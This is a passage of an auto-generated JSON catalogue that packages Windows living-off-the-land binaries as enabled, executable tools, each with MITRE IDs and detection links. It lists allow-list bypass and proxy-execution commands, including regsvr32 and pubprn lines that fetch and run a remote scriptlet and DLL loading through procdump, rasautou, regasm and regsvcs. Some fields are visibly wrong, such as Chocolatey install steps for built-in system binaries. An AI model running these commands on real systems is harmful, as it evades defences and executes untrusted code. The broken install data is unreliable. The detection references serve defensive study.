        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_sysinternals_procdump.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/dump_lsass_via_procdump.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml"
      },
      {
        "type": "ioc",
        "description": "Process creation with given '-md' parameter"
      },
      {
        "type": "ioc",
        "description": "Anomalous child processes of procdump"
      },
      {
        "type": "ioc",
        "description": "Unsigned DLL load via procdump.exe or procdump64.exe"
      }
    ],
    "examples": [
      {
        "description": "Loads the specified DLL where DLL is configured with a 'MiniDumpCallbackRoutine' exported function. Valid process must be provided as dump still created. (Performs execution of unsigned DLL.)",
        "command": "procdump.exe -md {PATH:.dll} explorer.exe"
      },
      {
        "description": "Loads the specified DLL where configured with DLL_PROCESS_ATTACH execution, process argument can be arbitrary. (Performs execution of unsigned DLL.)",
        "command": "procdump.exe -md {PATH:.dll} foobar"
      }
    ],
    "execution": {
      "template": "procdump",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-procdump",
    "install": [
      {
        "method": "choco",
        "package_name": "procdump",
        "commands": [
          "choco install procdump"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "procdump",
    "namespace": "windows:execution:procdump",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1448588362382778372?s=20",
        "url": "https://twitter.com/ajpc500/status/1448588362382778372?s=20"
      }
    ],
    "related_tools": [
      "Procdump64"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# provlaunch\n\nprovlaunch is a Windows LOLBin. Launcher process Located at: c:\\windows\\system32\\provlaunch.exe.\n",
    "_source": "provlaunch.md",
    "allowed-tools": [
      "provlaunch"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Grzegorz Tworek",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Launcher process Located at: c:\\windows\\system32\\provlaunch.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/process_creation/proc_creation_win_provlaunch_potential_abuse.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/process_creation/proc_creation_win_provlaunch_susp_child_process.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/process_creation/proc_creation_win_registry_provlaunch_provisioning_command.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/registry/registry_set/registry_set_provisioning_command_abuse.yml"
      },
      {
        "type": "ioc",
        "description": "c:\\windows\\system32\\provlaunch.exe executions"
      },
      {
        "type": "ioc",
        "description": "Creation/existence of HKLM\\SOFTWARE\\Microsoft\\Provisioning\\Commands subkeys"
      }
    ],
    "examples": [
      {
        "description": "Executes command defined in the Registry. Requires 3 levels of the key structure containing some keywords. Such keys may be created with two reg.exe commands, e.g. `reg.exe add HKLM\\SOFTWARE\\Microsoft\\Provisioning\\Commands\\LOLBin\\dummy1 /v altitude /t REG_DWORD /d 0` and `reg add HKLM\\SOFTWARE\\Microsoft\\Provisioning\\Commands\\LOLBin\\dummy1\\dummy2 /v Commandline /d calc.exe`. Registry keys are deleted after successful execution. (Executes arbitrary command)",
        "command": "provlaunch.exe LOLBin"
      }
    ],
    "execution": {
      "template": "provlaunch",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-provlaunch",
    "install": [
      {
        "method": "choco",
        "package_name": "provlaunch",
        "commands": [
          "choco install provlaunch"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "provlaunch",
    "namespace": "windows:execution:provlaunch",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1674399582162153472",
        "url": "https://twitter.com/0gtweet/status/1674399582162153472"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# pubprn\n\npubprn is a Windows LOLBin. Proxy execution with Pubprn.vbs Located at: C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs; C:\\Windows\\SysWOW64\\Printing_Admin_Scripts\\en-US\\pubprn.vbs.\n",
    "_source": "pubprn.md",
    "allowed-tools": [
      "pubprn"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Proxy execution with Pubprn.vbs Located at: C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs; C:\\Windows\\SysWOW64\\Printing_Admin_Scripts\\en-US\\pubprn.vbs.",
    "detections": [
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml"
      }
    ],
    "examples": [
      {
        "description": "Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection (Proxy execution)",
        "command": "pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}"
      }
    ],
    "execution": {
      "template": "pubprn",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-pubprn",
    "install": [
      {
        "method": "choco",
        "package_name": "pubprn",
        "commands": [
          "choco install pubprn"
        ]
      }
    ],
    "mitre_ids": [
      "T1216.001"
    ],
    "name": "pubprn",
    "namespace": "windows:execution:pubprn",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/"
      },
      {
        "label": "windows-operating-system-archaeology",
        "url": "https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology"
      },
      {
        "label": "windows-operating-system-archaeology",
        "url": "https://github.com/enigma0x3/windows-operating-system-archaeology"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# query\n\nquery is a Windows LOLBin. Remote Desktop Services MultiUser Query Utility Located at: c:\\windows\\system32\\query.exe; c:\\windows\\syswow64\\query.exe.\n",
    "_source": "query.md",
    "allowed-tools": [
      "query"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Idan Lerman",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Remote Desktop Services MultiUser Query Utility Located at: c:\\windows\\system32\\query.exe; c:\\windows\\syswow64\\query.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "query.exe being executed and executes a child process outside of its normal path of c:\\windows\\system32\\ or c:\\windows\\syswow64\\"
      }
    ],
    "examples": [
      {
        "description": "Once executed, `query.exe` will execute `quser.exe` in the same folder. Thus, if `query.exe` is copied to a folder and an arbitrary executable is renamed to `quser.exe`, `query.exe` will spawn it. Instead of `user`, it is also possible to use `session`, `termsession` or `process` as command-line option. (Execute an arbitrary executable via trusted system executable.)",
        "command": "query.exe user"
      }
    ],
    "execution": {
      "template": "query",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-query",
    "install": [
      {
        "method": "choco",
        "package_name": "query",
        "commands": [
          "choco install query"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "query",
    "namespace": "windows:execution:query",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# rasautou\n\nrasautou is a Windows LOLBin. Windows Remote Access Dialer Located at: C:\\Windows\\System32\\rasautou.exe.\n",
    "_source": "rasautou.md",
    "allowed-tools": [
      "rasautou"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Tony Lambert",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Remote Access Dialer Located at: C:\\Windows\\System32\\rasautou.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_rasautou_dll_execution.yml"
      },
      {
        "type": "ioc",
        "description": "rasautou.exe command line containing -d and -p"
      }
    ],
    "examples": [
      {
        "description": "Loads the target .DLL specified in -d and executes the export specified in -p. Options removed in Windows 10. (Execute DLL code)",
        "command": "rasautou -d {PATH:.dll} -p export_name -a a -e e"
      }
    ],
    "execution": {
      "template": "rasautou",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-rasautou",
    "install": [
      {
        "method": "choco",
        "package_name": "rasautou",
        "commands": [
          "choco install rasautou"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "rasautou",
    "namespace": "windows:execution:rasautou",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "DueDLLigence",
        "url": "https://github.com/fireeye/DueDLLigence"
      },
      {
        "label": "staying-hidden-on-the-endpoint-evading-detection-w",
        "url": "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# rcsi\n\nrcsi is a Windows LOLBin. Non-Interactive command line inerface included with Visual Studio. Located at: no default.\n",
    "_source": "rcsi.md",
    "allowed-tools": [
      "rcsi"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Non-Interactive command line inerface included with Visual Studio. Located at: no default.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_csi_execution.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "blockrule",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_csi_execution.yml"
      }
    ],
    "examples": [
      {
        "description": "Use embedded C# within the csx script to execute the code. (Local execution of arbitrary C# code stored in local CSX file.)",
        "command": "rcsi.exe {PATH:.csx}"
      },
      {
        "description": "Use embedded C# within the csx script to execute the code. (Local execution of arbitrary C# code stored in local CSX file.)",
        "command": "rcsi.exe {PATH:.csx}"
      }
    ],
    "execution": {
      "template": "rcsi",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-rcsi",
    "install": [
      {
        "method": "choco",
        "package_name": "rcsi",
        "commands": [
          "choco install rcsi"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "rcsi",
    "namespace": "windows:execution:rcsi",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# regasm\n\nregasm is a Windows LOLBin. Part of .NET Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regasm.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe.\n",
    "_source": "regasm.md",
    "allowed-tools": [
      "regasm"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Part of .NET Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regasm.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/bc93e670f5dcb24e96fbe3664d6bcad92df5acad/docs/_stories/suspicious_regsvcs_regasm_activity.md"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_regasm_with_network_connection.yml"
      },
      {
        "type": "ioc",
        "description": "regasm.exe executing dll file"
      }
    ],
    "examples": [
      {
        "description": "Loads the target .NET DLL file and executes the RegisterClass function. (Execute code and bypass Application whitelisting)",
        "command": "regasm.exe {PATH:.dll}"
      },
      {
        "description": "Loads the target .DLL file and executes the UnRegisterClass function. (Execute code and bypass Application whitelisting)",
        "command": "regasm.exe /U {PATH:.dll}"
      }
    ],
    "execution": {
      "template": "regasm",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-regasm",
    "install": [
      {
        "method": "choco",
        "package_name": "regasm",
        "commands": [
          "choco install regasm"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.009"
    ],
    "name": "regasm",
    "namespace": "windows:execution:regasm",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/"
      },
      {
        "label": "T1218.009.md",
        "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.009/T1218.009.md"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# register-cimprovider\n\nregister-cimprovider is a Windows LOLBin. Used to register new wmi providers Located at: C:\\Windows\\System32\\Register-cimprovider.exe; C:\\Windows\\SysWOW64\\Register-cimprovider.exe.\n",
    "_source": "register-cimprovider.md",
    "allowed-tools": [
      "register-cimprovider"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used to register new wmi providers Located at: C:\\Windows\\System32\\Register-cimprovider.exe; C:\\Windows\\SysWOW64\\Register-cimprovider.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml"
      },
      {
        "type": "ioc",
        "description": "Register-cimprovider.exe execution and cmdline DLL load may be supsicious"
      }
    ],
    "examples": [
      {
        "description": "Load the target .DLL. (Execute code within dll file)",
        "command": "Register-cimprovider -path {PATH_ABSOLUTE:.dll}"
      }
    ],
    "execution": {
      "template": "register-cimprovider",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-register-cimprovider",
    "install": [
      {
        "method": "choco",
        "package_name": "register-cimprovider",
        "commands": [
          "choco install register-cimprovider"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "register-cimprovider",
    "namespace": "windows:execution:register-cimprovider",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "992021361106268161",
        "url": "https://twitter.com/PhilipTsukerman/status/992021361106268161"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# regsvcs\n\nregsvcs is a Windows LOLBin. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies Located at: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\RegSvcs.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegSvcs.exe; C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe.\n",
    "_source": "regsvcs.md",
    "allowed-tools": [
      "regsvcs"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies Located at: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\RegSvcs.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegSvcs.exe; C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_regsvcs_with_network_connection.yml"
      }
    ],
    "examples": [
      {
        "description": "Loads the target .NET DLL file and executes the RegisterClass function. (Execute dll file and bypass Application whitelisting)",
        "command": "regsvcs.exe {PATH:.dll}"
      },
      {
        "description": "Loads the target .NET DLL file and executes the RegisterClass function. (Execute dll file and bypass Application whitelisting)",
        "command": "regsvcs.exe {PATH:.dll}"
      }
    ],
    "execution": {
      "template": "regsvcs",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-regsvcs",
    "install": [
      {
        "method": "choco",
        "package_name": "regsvcs",
        "commands": [
          "choco install regsvcs"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.009"
    ],
    "name": "regsvcs",
    "namespace": "windows:execution:regsvcs",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/"
      },
      {
        "label": "T1218.009.md",
        "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.009/T1218.009.md"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# regsvr32\n\nregsvr32 is a Windows LOLBin. Used by Windows to register dlls Located at: C:\\Windows\\System32\\regsvr32.exe; C:\\Windows\\SysWOW64\\regsvr32.exe.\n",
    "_source": "regsvr32.md",
    "allowed-tools": [
      "regsvr32"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows to register dlls Located at: C:\\Windows\\System32\\regsvr32.exe; C:\\Windows\\SysWOW64\\regsvr32.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_child_process.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_1.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regsvr32_flags_anomaly.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_regsvr32_application_control_bypass.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml"
      },
      {
        "type": "ioc",
        "description": "regsvr32.exe retrieving files from Internet"
      },
      {
        "type": "ioc",
        "description": "regsvr32.exe executing scriptlet (sct) files"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR libraries loaded into regsvr32.exe"
      },
      {
        "type": "ioc",
        "description": "DotNet CLR Usage Log - regsvr32.exe.log"
      }
    ],
    "examples": [
      {
        "description": "Execute the specified remote .SCT script with scrobj.dll. (Execute code from remote scriptlet, bypass Application whitelisting)",
        "command": "regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll"
      },
      {
        "description": "Execute the specified local .SCT script with scrobj.dll. (Execute code from scriptlet, bypass Application whitelisting)",
        "command": "regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll"
      },
      {
        "description": "Execute the specified remote .SCT script with scrobj.dll. (Execute code from remote scriptlet, bypass Application whitelisting)",
        "command": "regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll"
      },
      {
        "description": "Execute the specified local .SCT script with scrobj.dll. (Execute code from scriptlet, bypass Application whitelisting)",
        "command": "regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll"
      },
      {
        "description": "Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`. (Execute DLL file)",
        "command": "regsvr32.exe /s {PATH:.dll}"
      },
      {
